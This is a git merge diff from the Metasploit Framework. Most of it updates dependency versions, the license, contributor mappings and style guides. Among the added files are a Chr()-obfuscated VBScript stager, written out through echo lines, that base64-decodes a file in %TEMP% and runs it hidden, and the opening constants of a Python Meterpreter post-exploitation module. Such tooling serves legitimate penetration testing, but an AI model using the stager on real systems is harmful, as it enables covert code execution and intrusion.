Merge branch 'rapid7' into cleanup/remove-id-tags
Conflicts: lib/msf/core/payload/osx/bundleinject.rb lib/msf/core/payload/windows/dllinject.rb lib/msf/core/payload/windows/exec.rb lib/msf/core/payload/windows/loadlibrary.rb lib/msf/core/payload/windows/reflectivedllinject.rb lib/msf/core/payload/windows/x64/reflectivedllinject.rb scripts/meterpreter/netenum.rbbug/bundler_fix
commit
c77d49a640
|
@ -1,10 +1,9 @@
|
|||
.bundle
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Portable ruby version files for rvm
|
||||
.ruby-gemset
|
||||
.ruby-version
|
||||
# RVM control file
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
|
@ -40,3 +39,5 @@ tags
|
|||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
|
2
.mailmap
2
.mailmap
|
@ -27,6 +27,8 @@ wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
|||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
metasploit-framework
|
|
@ -0,0 +1 @@
|
|||
ruby-1.9.3-p448
|
|
@ -36,3 +36,9 @@ Pull requests tend to be very collaborative for Metasploit -- do not be
|
|||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
||||
|
||||
To save yourself the embarrassment of committing common errors, you will
|
||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
||||
from the top-level directory of your metasploit-framework clone. This
|
||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
||||
|
|
4
COPYING
4
COPYING
|
@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
|
@ -30,7 +30,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|||
|
||||
The Metasploit Framework is provided under the 3-clause BSD license above.
|
||||
|
||||
The copyright on this package is held by Rapid7 LLC.
|
||||
The copyright on this package is held by Rapid7, Inc.
|
||||
|
||||
This license does not apply to several components within the Metasploit
|
||||
Framework source tree. For more details see the LICENSE file.
|
||||
|
|
10
Gemfile
10
Gemfile
|
@ -10,17 +10,20 @@ gem 'msgpack'
|
|||
gem 'nokogiri'
|
||||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.9'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.14.3'
|
||||
gem 'metasploit_data_models', '~> 0.16.6'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
gem 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
end
|
||||
|
@ -38,7 +41,7 @@ group :development, :test do
|
|||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -48,11 +51,10 @@ group :test do
|
|||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
|
70
Gemfile.lock
70
Gemfile.lock
|
@ -1,60 +1,58 @@
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
metasploit_data_models (0.14.3)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
nokogiri (1.5.9)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -65,12 +63,14 @@ DEPENDENCIES
|
|||
database_cleaner
|
||||
factory_girl (>= 4.1.0)
|
||||
json
|
||||
metasploit_data_models (~> 0.14.3)
|
||||
metasploit_data_models (~> 0.16.6)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
|
11
HACKING
11
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
|||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
@ -37,9 +37,10 @@ need user input, you can either register an option or expose an
|
|||
interactive session type specific for the type of exploit.
|
||||
|
||||
3. Don't use "sleep". It has been known to cause issues with
|
||||
multi-threaded programs on various platforms. Instead, we use
|
||||
"select(nil, nil, nil, <time>)" throughout the framework. We have
|
||||
found this works around the underlying issue.
|
||||
multi-threaded programs on various platforms running an older version of
|
||||
Ruby such as 1.8. Instead, we use "select(nil, nil, nil, <time>)" or
|
||||
Rex.sleep() throughout the framework. We have found this works around
|
||||
the underlying issue.
|
||||
|
||||
4. Always use Rex sockets, not ruby sockets. This includes
|
||||
third-party libraries such as Net::Http. There are several very good
|
||||
|
|
|
@ -47,7 +47,7 @@ pull request. For slightly more info, see
|
|||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
After Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
com.sun.script.javascript.RhinoScriptEngine
|
|
@ -0,0 +1,2 @@
|
|||
FakeDriver
|
||||
FakeDriver2
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,865 @@
|
|||
import ctypes
|
||||
import fnmatch
|
||||
import getpass
|
||||
import os
|
||||
import platform
|
||||
import shlex
|
||||
import shutil
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
try:
|
||||
import pty
|
||||
has_pty = True
|
||||
except ImportError:
|
||||
has_pty = False
|
||||
|
||||
try:
|
||||
import pwd
|
||||
has_pwd = True
|
||||
except ImportError:
|
||||
has_pwd = False
|
||||
|
||||
try:
|
||||
import termios
|
||||
has_termios = True
|
||||
except ImportError:
|
||||
has_termios = False
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
has_winreg = True
|
||||
except ImportError:
|
||||
has_winreg = False
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||
("cntUsage", ctypes.c_uint32),
|
||||
("th32ProcessID", ctypes.c_uint32),
|
||||
("th32DefaultHeapID", ctypes.c_void_p),
|
||||
("th32ModuleID", ctypes.c_uint32),
|
||||
("cntThreads", ctypes.c_uint32),
|
||||
("th32ParentProcessID", ctypes.c_uint32),
|
||||
("thPriClassBase", ctypes.c_int32),
|
||||
("dwFlags", ctypes.c_uint32),
|
||||
("szExeFile", (ctypes.c_char * 260))]
|
||||
|
||||
class SYSTEM_INFO(ctypes.Structure):
|
||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||
("wReserved", ctypes.c_uint16),
|
||||
("dwPageSize", ctypes.c_uint32),
|
||||
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||
("dwNumberOfProcessors", ctypes.c_uint32),
|
||||
("dwProcessorType", ctypes.c_uint32),
|
||||
("dwAllocationGranularity", ctypes.c_uint32),
|
||||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16),]
|
||||
|
||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [("Sid", ctypes.c_void_p),
|
||||
("Attributes", ctypes.c_uint32),]
|
||||
|
||||
##
|
||||
# STDAPI
|
||||
##
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
|
||||
##
|
||||
# General
|
||||
##
|
||||
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
||||
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
||||
|
||||
##
|
||||
# Fs
|
||||
##
|
||||
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
||||
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
||||
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
||||
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||
|
||||
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
||||
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
||||
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
||||
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
||||
|
||||
##
|
||||
# Net
|
||||
##
|
||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||
|
||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||
|
||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||
|
||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
||||
|
||||
# Socket
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
||||
|
||||
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
||||
|
||||
# Registry
|
||||
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
||||
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
||||
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
||||
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
||||
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
||||
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
||||
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
||||
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
||||
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
||||
|
||||
# Config
|
||||
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
||||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||
|
||||
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
||||
|
||||
# Process
|
||||
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
||||
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
||||
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
||||
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
||||
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
||||
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
||||
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
||||
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
||||
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
||||
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
||||
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
||||
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
||||
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
||||
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
||||
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
||||
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
||||
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
||||
|
||||
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
||||
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||
|
||||
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
||||
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
||||
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
||||
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
||||
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
||||
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
||||
|
||||
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
||||
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
||||
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
||||
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
||||
|
||||
##
|
||||
# Ui
|
||||
##
|
||||
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
||||
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
||||
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
||||
|
||||
##
|
||||
# Event Log
|
||||
##
|
||||
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
||||
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
||||
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
||||
|
||||
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
||||
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
||||
|
||||
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
||||
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
||||
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
||||
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
||||
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
||||
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
||||
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
||||
